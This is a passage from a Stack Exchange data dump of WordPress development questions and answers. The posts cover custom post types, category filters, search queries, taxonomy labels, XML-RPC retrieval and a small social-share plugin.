my_category_index(){&#xA;$categories=get_categories('exclude=1&amp;amp;exclude_tree=1');&#xA;foreach($categories as $category) {echo ce4_get_cat_desc($category);}&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="366" LastActivityDate="2011-01-19T22:14:39.867" Title="How do I pass the category object to a function when is_archive() is true?" Tags="&lt;theme-development&gt;" AnswerCount="1" />
  <row Id="7296" PostTypeId="1" CreationDate="2011-01-19T22:09:08.903" Score="1" ViewCount="435" Body="&lt;p&gt;Here's my issue:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have assigned a custom post type to certain categories. When I search for these categories, either through search or entering the url directly. However, if I assign a normal post type to a category, it becomes searchable and can be entered by the url directly. I thought I got everything in my custom post type code, but I must have missed something. Any help would be appreciated:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('init', 'create_trainingplan_post_type');&#xA;&#xA;function create_trainingplan_post_type() {&#xA;register_post_type('trainingplan', array(&#xA;    'labels' =&amp;gt; array(&#xA;        'name' =&amp;gt; 'Training Plans',&#xA;        'singular_name' =&amp;gt; 'Training Plan',&#xA;        'add_new' =&amp;gt; 'Add New Training Plan',&#xA;    'add_new_item' =&amp;gt; 'Add New Training Plan',&#xA;    'edit' =&amp;gt; 'Edit Training Plans',&#xA;        'edit_item' =&amp;gt; 'Edit Training Plan',&#xA;        'new_item' =&amp;gt; 'New Training Plan',&#xA;        'view_item' =&amp;gt; 'View Training Plans',&#xA;        'search_items' =&amp;gt; 'Search Training Plans',&#xA;        'not_found' =&amp;gt; 'No Training Plans found',&#xA;        'not_found_in_trash' =&amp;gt; 'No Training Plans found in Trash'&#xA;    ),&#xA;    'public' =&amp;gt; true,&#xA;'exclude_from_search'=&amp;gt; false,&#xA;'rewrite' =&amp;gt; array('slug' =&amp;gt; 'my-custom-training-plan', 'with_front' =&amp;gt; true),&#xA;'supports' =&amp;gt; array(&#xA;    'title',&#xA;    'excerpt',&#xA;    'editor',&#xA;    'custom-fields',&#xA;    'revisions',&#xA;    'thumbnail',&#xA;    'author',&#xA;    'page-attributes'&#xA;&#xA;    ),&#xA;    'taxonomies' =&amp;gt; array('category', 'post_tag') // this is IMPORTANT&#xA;));&#xA;flush_rewrite_rules();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thank you for the help so far, I've added comments from the answer I received so far to make it more clear in my question:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;@ בניית אתרים I can actually search for the custom post type and find it. It's that the categories that are assigned only to custom post types cannot be searched or found. Basically, I am trying to enable a user to search by category, but categories that are assigned to only a custom post type are not appearing. For that matter, even if I type in the direct url of the category, it takes me to an error page: &quot;Sorry, we can't find the category you're looking for at this URL. Please try selecting a menu item from above or to the side of this message to get where you...&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;@ בניית אתרים I assigned the categories to the custom post type like you would a normal post. While writing the post, I ticked the categories I wanted included. When in the edit posts dashboard, it does confirm that categories are assigned to the cpt. However, when I go to the category url or search for posts within that category, cpt do not show.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks again&lt;/p&gt;&#xA;" OwnerUserId="919" LastEditorUserId="4998" LastEditorDisplayName="" LastEditDate="2011-05-20T19:11:14.717" LastActivityDate="2011-08-20T11:32:37.257" Title="Categories assigned to custom post type not found" Tags="&lt;custom-post-types&gt;&lt;categories&gt;" AnswerCount="1" CommentCount="4" FavoriteCount="1" />
  <row Id="7297" PostTypeId="2" ParentId="7295" CreationDate="2011-01-19T22:14:39.867" Score="1" ViewCount="" Body="&lt;pre&gt;&lt;code&gt;get_cat_desc(get_category(get_query_var( 'category' )));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_category&quot; rel=&quot;nofollow&quot;&gt;get_category&lt;/a&gt;)&lt;/p&gt;&#xA;" OwnerUserId="1986" LastActivityDate="2011-01-19T22:14:39.867" />
  <row Id="7298" PostTypeId="2" ParentId="7296" CreationDate="2011-01-19T22:59:19.620" Score="0" ViewCount="" Body="&lt;p&gt;the default search function will only look for posts and pages so you need to add your post_type to the search and can do this in two ways&lt;/p&gt;&#xA;&#xA;&lt;p&gt;using the 'pre_get_posts' filter to add your post type before the query like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function Search_CPT_Filter($query) {&#xA;    $post_type = $_GET['type'];&#xA;    if (!$post_type) {&#xA;        $post_type = array('post','post type name');&#xA;    }&#xA;    if ($query-&amp;gt;is_search) {&#xA;        $query-&amp;gt;set('post_type', $post_type);&#xA;    };&#xA;    return $query;&#xA;};&#xA;&#xA;add_filter('pre_get_posts','Search_CPT_Filter');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or, adding the post type to the search form in an hidden filed like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;hidden&quot; name=&quot;post_type&quot; value=&quot;post type name&quot; /&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and in both cases just change 'post type name' to the name of your post type.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-01-19T22:59:19.620" CommentCount="9" />
  <row Id="7299" PostTypeId="1" AcceptedAnswerId="7307" CreationDate="2011-01-19T23:09:02.830" Score="1" ViewCount="338" Body="&lt;p&gt;How can I add a rel=&quot;nofollow&quot; attribute to my category widget listings?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm currently filtering the call to wp_list_categories with this code in my functions.php...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function my_wp_list_categories($cat_args){&#xA;    $cat_args['title_li'] = '';&#xA;    $cat_args['exclude_tree'] = 1;\&#xA;    $cat_args['exclude'] = 1;&#xA;    $cat_args['use_desc_for_title'] = 0;&#xA;    return $cat_args;&#xA;    }&#xA;add_filter('widget_categories_args', 'my_wp_list_categories', 10, 2);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Update: When I try this...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('wp_list_categories','wp_rel_nofollow');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My links come out with escape slashes...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;li class=\&quot;cat-item cat-item-5\&quot;&amp;gt;&#xA;  &amp;lt;a href=\&quot;http://mysite/category/chinese-tea/\&quot; title=\&quot;View all...Chinese Tea\&quot; rel=\&quot;nofollow\&quot;&amp;gt;Chinese Tea&amp;lt;/a&amp;gt;&#xA;&amp;lt;/li&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="366" LastEditorUserId="1468" LastEditorDisplayName="" LastEditDate="2011-01-20T13:54:28.280" LastActivityDate="2011-01-20T13:54:28.280" Title="How do I add a filter to wp_list_categories() to make links nofollow?" Tags="&lt;plugin-development&gt;" AnswerCount="1" CommentCount="3" />
  <row Id="7300" PostTypeId="2" ParentId="7290" CreationDate="2011-01-19T23:10:53.290" Score="0" ViewCount="" Body="&lt;p&gt;i don't know whats wrong with the code but whenever i need to limit menu items to users &#xA;i use: &#xA;&lt;a href=&quot;http://wordpress.org/extend/plugins/admin-menu-editor/&quot; rel=&quot;nofollow&quot;&gt;Admin Menu Editor&lt;/a&gt; &#xA;a plugin that does just that for you.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-01-19T23:10:53.290" CommentCount="1" />
  <row Id="7301" PostTypeId="2" ParentId="7271" CreationDate="2011-01-19T23:39:13.097" Score="2" ViewCount="" Body="&lt;h2&gt;the old way&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;when i say &quot;the old way&quot; i mean my old way of doing this ,like i answered &lt;a href=&quot;http://wordpress.stackexchange.com/questions/6941/need-help-finding-a-wordpress-e-commerce-plugin-that-utilises-custom-post-types/7019#7019&quot;&gt;Need Help Finding a Wordpress E-Commerce Plugin That Utilises Custom Post Types&lt;/a&gt; before about creating relations between custom post types that i used custom fields for that&#xA;meaning:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Author will have two custom fields (book_ids[], photo_ids[])&lt;/li&gt;&#xA;&lt;li&gt;Books will have two custom fields (author_ids[], photo_ids[])&lt;/li&gt;&#xA;&lt;li&gt;Photos will have two custom fields (book_ids[], author_ids[])&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;so this makes the query very easy like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;//lets say you are need to get all books of an author&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$q= array( &#xA;    &quot;POST_TYPE&quot;=&amp;gt;'books',&#xA;    'meta_key' =&amp;gt;'author_ids', &#xA;    'meta_compare' =&amp;gt; '=' &#xA;    'meta_value' =&amp;gt; $author_id,&#xA;    );&#xA;    query_posts($q);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and as for the meta boxes lets say for the authors edit page you can create a multi select dropdown of the books and save the ids, and the save for photos.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Different approach&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;I'm currently working on a site that need relations like so but instead of creating CPT (custom post type) for all 3 , in your case, i create the photos,books as custom post types&#xA;and authors and custom taxonomy with extra fields added to them witch makes&#xA;it easier to connect between authors to photos and book, and all i have left is to create relations between photos and books by custom fields like before, so basically what I'm doing is using custom taxonomy as a custom post type.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this makes sense (at least some of it).&#xA;this way you can connect &lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-01-19T23:39:13.097" />
  <row Id="7302" PostTypeId="2" ParentId="7276" CreationDate="2011-01-19T23:50:09.713" Score="1" ViewCount="" Body="&lt;p&gt;One idea would be to go into the widgets file from the core files, COPY the text widget code into your functions.php file, and edit your version to see fit. Just an idea, hopefully it'd solve some problems.&lt;/p&gt;&#xA;" OwnerUserId="1006" LastActivityDate="2011-01-19T23:50:09.713" />
  <row Id="7303" PostTypeId="1" AcceptedAnswerId="7314" CreationDate="2011-01-20T00:36:29.113" Score="0" ViewCount="871" Body="&lt;p&gt;&lt;strong&gt;I would like to retrieve all posts of a blog via the XML-RPC API of Wordpress.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are the methods of &lt;code&gt;blogger.getRecentPosts&lt;/code&gt; and &lt;code&gt;metaWeblog.getRecentPosts&lt;/code&gt; which - given a sufficiently high value as number of posts (or -1) in theory should return all posts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, this does not work for very large blogs or very weak servers that cannot hold the whole blog in memory. In that case, these functions will not return anything at best or throw an error into the response XML.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A solution would be to retrieve smaller chunks of, e.g. 50, posts at a time and put it all together on the receiving side. For this to work one would need to specify an offset for the posts to get. I was not able to find a way to specify such an offset in the documented API.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Is there any way to make this work, either by specifying an offset or by using other than the methods mentioned above?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not looking for a description on how to write a plugin or modify Wordpress itself in any way. I can do that, sure, but I'm talking about authorized retrieval of data of arbitrary Wordpress blogs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt; I've opened a trac ticket at Wordpress with a suggestion for solution: &lt;a href=&quot;http://core.trac.wordpress.org/ticket/16316&quot; rel=&quot;nofollow&quot;&gt;http://core.trac.wordpress.org/ticket/16316&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2605" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2011-02-05T01:46:15.930" LastActivityDate="2011-02-05T01:46:15.930" Title="How to get all posts (in chunks) via XML-RPC?" Tags="&lt;api&gt;&lt;xml-rpc&gt;" AnswerCount="2" CommentCount="3" />
  <row Id="7304" PostTypeId="1" AcceptedAnswerId="7306" CreationDate="2011-01-20T01:03:41.063" Score="1" ViewCount="284" Body="&lt;p&gt;What's the best way to alter the query being run on the Posts Edit screen (edit.php)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The current method I'm using is by passing an argument to the global $wp_query like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$wp_query-&amp;gt;query( array ('category__in' =&amp;gt; array(14,9,2) ) );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, this doesn't really work as expected once the user pages back and forth, filters, or searches.&lt;/p&gt;&#xA;" OwnerUserId="2607" LastActivityDate="2011-01-27T15:38:36.643" Title="Alter query on edit.php" Tags="&lt;php&gt;&lt;posts&gt;&lt;query-posts&gt;&lt;query&gt;&lt;sql&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="7305" PostTypeId="2" ParentId="7252" CreationDate="2011-01-20T01:50:28.613" Score="2" ViewCount="" Body="&lt;p&gt;Turns out I had not deleted the page from trash, so the URL has was still taken up! Once trash was emptied it worked. &lt;/p&gt;&#xA;" OwnerUserId="1631" LastActivityDate="2011-01-20T01:50:28.613" CommentCount="2" />
  <row Id="7306" PostTypeId="2" ParentId="7304" CreationDate="2011-01-20T01:55:50.463" Score="1" ViewCount="" Body="&lt;p&gt;Few days ago I wrote a quick solution using &lt;a href=&quot;http://adambrown.info/p/wp_hooks/hook/pre_get_posts&quot; rel=&quot;nofollow&quot;&gt;pre_get_posts&lt;/a&gt; filter to hide some pages in admin area.&lt;br&gt;&#xA;Maybe you could use it as a good starting point for whatever you'd like to achieve.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( is_admin() ) add_filter('pre_get_posts', 'mau_filter_admin_pages');&#xA;&#xA;function mau_filter_admin_pages($query) {&#xA;     $query-&amp;gt;set('post__not_in', array(1,2,3) );&#xA;     // Do not display posts with IDs 1, 2 and 3 in the admin area.&#xA;     return $query;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But be careful: &lt;code&gt;pre_get_posts&lt;/code&gt; &lt;strong&gt;affects almost all post queries on your site.&lt;/strong&gt; You will have to use some conditions to make it work only where desired. &lt;code&gt;if (is_admin())&lt;/code&gt; was enough for me, but like I said it was quick solution and I haven't tested it properly yet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Im sure some local wp ninja will correct this if it's too dirty .)&lt;/p&gt;&#xA;" OwnerUserId="2110" LastEditorUserId="2110" LastEditorDisplayName="" LastEditDate="2011-01-21T10:52:44.647" LastActivityDate="2011-01-21T10:52:44.647" CommentCount="3" />
  <row Id="7307" PostTypeId="2" ParentId="7299" CreationDate="2011-01-20T02:37:05.480" Score="1" ViewCount="" Body="&lt;p&gt;try:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('wp_list_categories','esc_wp_rel_nofollow');&#xA;&#xA;function esc_wp_rel_nofollow($output){&#xA;   return   stripslashes(wp_rel_nofollow($output));&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-01-20T02:37:05.480" />
  <row Id="7308" PostTypeId="1" AcceptedAnswerId="7309" CreationDate="2011-01-20T03:46:50.640" Score="0" ViewCount="181" Body="&lt;p&gt;Can't find the answer in the codex or on here. Just need to know what file to look in to find the e-mail template. The default e-mail that gets sent upon new user registration has a link which points to wp-admin, and I need it to point to frontend.&lt;/p&gt;&#xA;" OwnerUserId="2479" LastActivityDate="2011-01-20T03:58:23.930" Title="How to edit the Wordpress e-mail that gives the user their password?" Tags="&lt;email&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="7309" PostTypeId="2" ParentId="7308" CreationDate="2011-01-20T03:58:23.930" Score="2" ViewCount="" Body="&lt;p&gt;Have you looked at this question? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/4514/how-do-i-customise-the-new-user-welcome-email&quot;&gt;How do I customise the new user welcome email&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2604" LastActivityDate="2011-01-20T03:58:23.930" CommentCount="1" />
  <row Id="7311" PostTypeId="1" AcceptedAnswerId="7315" CreationDate="2011-01-20T04:34:39.630" Score="0" ViewCount="94" Body="&lt;p&gt;I just created a custom post type and a custom taxonomy:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// === CUSTOM TAXONOMIES === //&#xA;add_action('init', 'my_custom_taxonomies', 0);&#xA;&#xA;function my_custom_taxonomies() {&#xA;    register_taxonomy(&#xA;        'location',     // internal name = machine-readable taxonomy name&#xA;        'static_content',       // object type = post, page, link, or custom post-type&#xA;        array(&#xA;            'hierarchical' =&amp;gt; true,&#xA;            'labels' =&amp;gt; array(&#xA;                'name' =&amp;gt; __( 'Location' ),&#xA;                'singular_name' =&amp;gt; __( 'Location' ),&#xA;                'add_new_item' =&amp;gt; 'Add New Location',&#xA;                'edit_item' =&amp;gt; 'Edit Location',&#xA;                'new_item' =&amp;gt; 'New Location',&#xA;                'search_items' =&amp;gt; 'Search Location',&#xA;                'not_found' =&amp;gt; 'No Location found',&#xA;                'not_found_in_trash' =&amp;gt; 'No Location found in trash',&#xA;            ),&#xA;            'query_var' =&amp;gt; true,    // enable taxonomy-specific querying&#xA;            'rewrite' =&amp;gt; array( 'slug' =&amp;gt; 'location' ), // pretty permalinks for your taxonomy?&#xA;        )&#xA;    );&#xA;&#xA;    wp_insert_term('Footer', 'location');&#xA;    wp_insert_term('Header', 'location');&#xA;}&#xA;&#xA;&#xA;// === CUSTOM POST TYPES === //&#xA;add_action( 'init', 'create_my_post_types' );&#xA;&#xA;function create_my_post_types() {&#xA;    register_post_type( 'static_content',&#xA;        array(&#xA;            'labels' =&amp;gt; array(&#xA;                'name' =&amp;gt; __( 'Static Content' ),&#xA;                'singular_name' =&amp;gt; __( 'Static Content' ),&#xA;                'add_new_item' =&amp;gt; 'Add New Static Content',&#xA;                'edit_item' =&amp;gt; 'Edit Static Content',&#xA;                'new_item' =&amp;gt; 'New Static Content',&#xA;                'search_items' =&amp;gt; 'Search Static Content',&#xA;                'not_found' =&amp;gt; 'No Static Content found',&#xA;                'not_found_in_trash' =&amp;gt; 'No Static Content found in trash',&#xA;            ),&#xA;            '_builtin' =&amp;gt; false,&#xA;            'public' =&amp;gt; true,&#xA;            'hierarchical' =&amp;gt; false,&#xA;            'taxonomies' =&amp;gt; array( 'location'),&#xA;            'supports' =&amp;gt; array(&#xA;                'title',&#xA;                'editor',&#xA;                'excerpt'&#xA;            ),&#xA;            'rewrite' =&amp;gt; array( 'slug' =&amp;gt; 'static_content', 'with_front' =&amp;gt; false )&#xA;        )&#xA;    );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But when I enter the edit page of my custom post type, on the sidebar it says &quot;All Categories.&quot; It should say &quot;All Locations.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I change that label?&lt;/p&gt;&#xA;" OwnerUserId="781" LastActivityDate="2011-01-20T07:22:05.990" Title="How to change the &quot;All Categories&quot; label within the panel of my custom post type?" Tags="&lt;customization&gt;" AnswerCount="1" />
  <row Id="7312" PostTypeId="1" CreationDate="2011-01-20T04:40:20.260" Score="0" ViewCount="259" Body="&lt;p&gt;There are several plugins that insert buttons to retweet and like into a post.  You can see the count of retweets and likes at the top of single blog posts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I want to do is show the retweets and likes in the blog home page, which has excerpts and thumbnails&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Like this&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Fabuous Post Title&#xA;Retweet (button) - 45    18 likes&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[excerpt]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There must be a way to edit functions.php for this but I don't know what to do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How is this done?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;THanks&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Examples of desired display: &#xA;&lt;a href=&quot;http://epiclaunch.com/&quot; rel=&quot;nofollow&quot;&gt;http://epiclaunch.com/&lt;/a&gt;&#xA;http://wptricks.net/&lt;/p&gt;&#xA;" LastActivityDate="2011-01-20T07:35:57.957" Title="How to display retweet count and likes in the meta above the excerpt" Tags="&lt;functions&gt;&lt;excerpt&gt;" AnswerCount="2" />
  <row Id="7313" PostTypeId="2" ParentId="7312" CreationDate="2011-01-20T06:25:38.097" Score="1" ViewCount="" Body="&lt;p&gt;While you could edit your theme, it seems that Wptricks.net is using the WP Socializer plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/wp-socializer/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/wp-socializer/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2604" LastActivityDate="2011-01-20T06:25:38.097" />
  <row Id="7314" PostTypeId="2" ParentId="7303" CreationDate="2011-01-20T07:06:07.383" Score="0" ViewCount="" Body="&lt;p&gt;According to topic in official forums &lt;a href=&quot;http://wordpress.org/support/topic/xmlrpc-how-to-get-posts-with-offset&quot; rel=&quot;nofollow&quot;&gt;[xmlrpc] How to get posts with offset?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The existing XML-RPC APIs don't really&#xA;  provide a way for collecting all of&#xA;  the post data right now. (Joseph&#xA;  Scott)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Topic is somewhat old and I am not aware if there were some changes since, but from quick look at source it doesn't seem so.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-01-20T07:06:07.383" CommentCount="1" />
  <row Id="7315" PostTypeId="2" ParentId="7311" CreationDate="2011-01-20T07:22:05.990" Score="2" ViewCount="" Body="&lt;p&gt;Add this to the &lt;code&gt;labels&lt;/code&gt; array:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;'all_items' =&amp;gt; __( 'All Locations' ),&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/register_taxonomy&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;register_taxonomy()&lt;/code&gt;&lt;/a&gt; docs for full description of &lt;code&gt;labels&lt;/code&gt; argument.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-01-20T07:22:05.990" />
  <row Id="7316" PostTypeId="2" ParentId="7312" CreationDate="2011-01-20T07:35:57.957" Score="1" ViewCount="" Body="&lt;p&gt;Here is a short and simple plugin I wrote to add a re-tweet and Facebook like button to each post.  This version of the Facebook like button uses the newer XFBML instead of the iframes but requires you to register an app id.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To use the buttons just add the function call to your loop.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/*&#xA;Plugin Name: C3M Social Share Buttons&#xA;Plugin URI: http://c3mdigital.com/&#xA;Description: Adds Facebook and Twitter Share Buttons using template tags&#xA;Version: 1.0&#xA;Author: Chris Olbekson&#xA;Author URI: http://c3mdigital.com&#xA;*/&#xA;&#xA;// Social Share Buttons by Chris Olbekson.  This Plugin is Licensed under The GPL v2 and my be freely distributed.  This plugin will not work without entering a valid Facebook app id registered to the domain it is being used on.&#xA;&#xA;//This adds the Facebook and Twitter js to your foooter hooking into wp_footer&#xA;function c3m_share_this_scripts() {&#xA;&#xA;        echo '&amp;lt;script type=&quot;text/javascript&quot; src=&quot;http://platform.twitter.com/widgets.js&quot;&amp;gt;&amp;lt;/script&amp;gt;';&#xA;        echo '&amp;lt;script src=&quot;http://connect.facebook.net/en_US/all.js#xfbml=1&quot;&amp;gt;&amp;lt;/script&amp;gt;';&#xA;        echo  '&amp;lt;div id=&quot;fb-root&quot;&amp;gt;&amp;lt;/div&amp;gt;';&#xA;        echo    '               &amp;lt;script&amp;gt;';&#xA;        echo        &quot;               window.fbAsyncInit = function() {;&#xA;                        FB.init({appId: 'xxxxxxxxxxxxxxx', status: true, cookie: true,&#xA;                                xfbml: true});&#xA;                                };&quot;;&#xA;        echo        &quot;                 (function() {&#xA;                                    var e = document.createElement('script'); e.async = true;&#xA;                                    e.src = document.location.protocol +&#xA;                                      '//connect.facebook.net/en_US/all.js';&#xA;                                    document.getElementById('fb-root').appendChild(e);&#xA;                                  }());&#xA;                                &amp;lt;/script&amp;gt;&quot;;   &#xA;&#xA;&#xA;                    }&#xA;&#xA;    add_action('wp_footer', 'c3m_share_this_scripts' );&#xA;&#xA;&#xA;    function c3m_social_share() {&#xA;&#xA;                echo '&amp;lt;div class=&quot;social-share&quot; style=&quot;margin-bottom:50px;width:500px;&quot;&amp;gt;&#xA;                    &amp;lt;ul class=&quot;share-buttons&quot;&amp;gt;&#xA;&amp;lt;li style=&quot;float:left;margin-right:25px;&quot;&amp;gt;&amp;lt;a href=&quot;http://twitter.com/share&quot; class=&quot;twitter-share-button&quot; data-url=&quot;'; echo the_permalink(); echo '&quot; data-text=&quot;'; echo the_title(); echo '&quot; data-count=&quot;horizontal&quot; data-via=&quot;your_twitter_username&quot;&amp;gt;Tweet&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;                    &amp;lt;li style=&quot;float:left;width:300px&quot;&amp;gt;&amp;lt;fb:like href=&quot;'; echo the_permalink(); echo'&quot; layout=&quot;standard&quot; action=&quot;like&quot; font=&quot;lucida grande&quot;&amp;gt;&amp;lt;/fb:like&amp;gt;&amp;lt;/li&amp;gt;';&#xA;&#xA;&#xA;                echo '&amp;lt;/ul&amp;gt;&#xA;                     &amp;lt;/div&amp;gt;&amp;lt;div class=&quot;clear&quot;&amp;gt; &amp;lt;/div&amp;gt;'; &#xA;&#xA;                    }&#xA;&#xA;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="251" LastActivityDate="2011-01-20T07:35:57.957" />
  <row Id="7317" PostTypeId="1" CreationDate="2011-01-20T08:53:35.610" Score="-2" ViewCount="230" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Possible Duplicate:&lt;/strong&gt;&lt;br&gt;&#xA;  &lt;a href=&quot;http://wordpress.stackexchange.com/questions/4397/membership-subscription-plugins-alternatives&quot;&gt;Membership / subscription plugins - alternatives &lt;/a&gt;  &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&#xA;&#xA;&lt;p&gt;Is there any plugin available for wordpress which force user to pay for registration?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I want user must pay some amount to register to the site?&lt;/p&gt;&#xA;" OwnerUserId="2540" LastActivityDate="2011-01-20T16:18:34.743" ClosedDate="2011-01-20T16:28:14.097" Title="Wordpress paid membership plugin" Tags="&lt;registration&gt;&lt;paypal&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="7318" PostTypeId="2" ParentId="21" CreationDate="2011-01-20T08:56:50.617" Score="0" ViewCount="" Body="&lt;p&gt;To adding to this question. Does somebody know how to determine post_per_page for this function function custom_posts_per_page($query) if add the new page to index.php like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;if ($_GET['new'] == 1) &#xA;{&#xA;    include ( TEMPLATEPATH . '/newpage.php' );&#xA;    exit;&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1301" LastActivityDate="2011-01-20T08:56:50.617" />
  <row Id="7319" PostTypeId="2" ParentId="4736" CreationDate="2011-01-20T09:52:53.750" Score="2" ViewCount="" Body="&lt;p&gt;A way to get your posts is to call the different pages of the rss feed in your newsletter generator. It's a safe approach that doesn't require to update your various Wordpress installations:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;yourwebsite.com/feed &lt;em&gt;-&gt; get last 10 posts&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;yourwebsite.com/feed/&lt;strong&gt;?paged=2&lt;/strong&gt; &lt;em&gt;-&gt; get next 10 posts&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And so on.&lt;/p&gt;&#xA;" LastActivityDate="2011-01-20T09:52:53.750" />
  <row Id="7320" PostTypeId="2" ParentId="7290" CreationDate="2011-01-20T10:57:36.423" Score="1" ViewCount="" Body="&lt;p&gt;Ok, after doing some more Googling I finally found an answer and combined it with one of the scripts above to create what I'm looking to do. Below is what i've done just in case someone else is looking to do the same:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;global $user_login;&#xA;get_currentuserinfo();&#xA;   if (!current_user_can('update_plugins')) {&#xA;     .....&#xA;   }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The above code will get the current users level and if they have permissions to update/edit plugins then they have access to the enclosed functions.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        function toggle_custom_menu_order(){&#xA;            return true;&#xA;        }&#xA;        add_filter( 'custom_menu_order', 'toggle_custom_menu_order' );&#xA;&#xA;        function remove_those_menu_items( 